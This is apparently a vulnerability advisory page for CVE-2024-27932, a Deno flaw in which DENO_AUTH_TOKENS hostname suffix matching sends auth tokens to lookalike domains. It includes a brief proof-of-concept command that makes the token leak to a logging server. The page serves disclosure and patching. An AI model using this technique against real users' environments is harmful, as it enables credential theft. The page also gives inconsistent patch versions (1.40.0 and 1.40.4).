Описание
Deno's improper suffix match testing for DENO_AUTH_TOKENS
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.
Details
auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example,
denovulnpoc.example.com. - Run
DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example,DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact
What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
Ссылки
- https://github.com/denoland/deno/security/advisories/GHSA-5frw-4rwq-xhcr
- https://nvd.nist.gov/vuln/detail/CVE-2024-27932
- https://github.com/denoland/deno/commit/de23e3b60b066481cc390f459497d5bef42a899b
- https://github.com/denoland/deno/blob/3f4639c330a31741b0efda2f93ebbb833f4f95bc/cli/auth_tokens.rs#L89
Пакеты
deno
>= 1.8.0, < 1.40.4
1.40.4
Связанные уязвимости
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue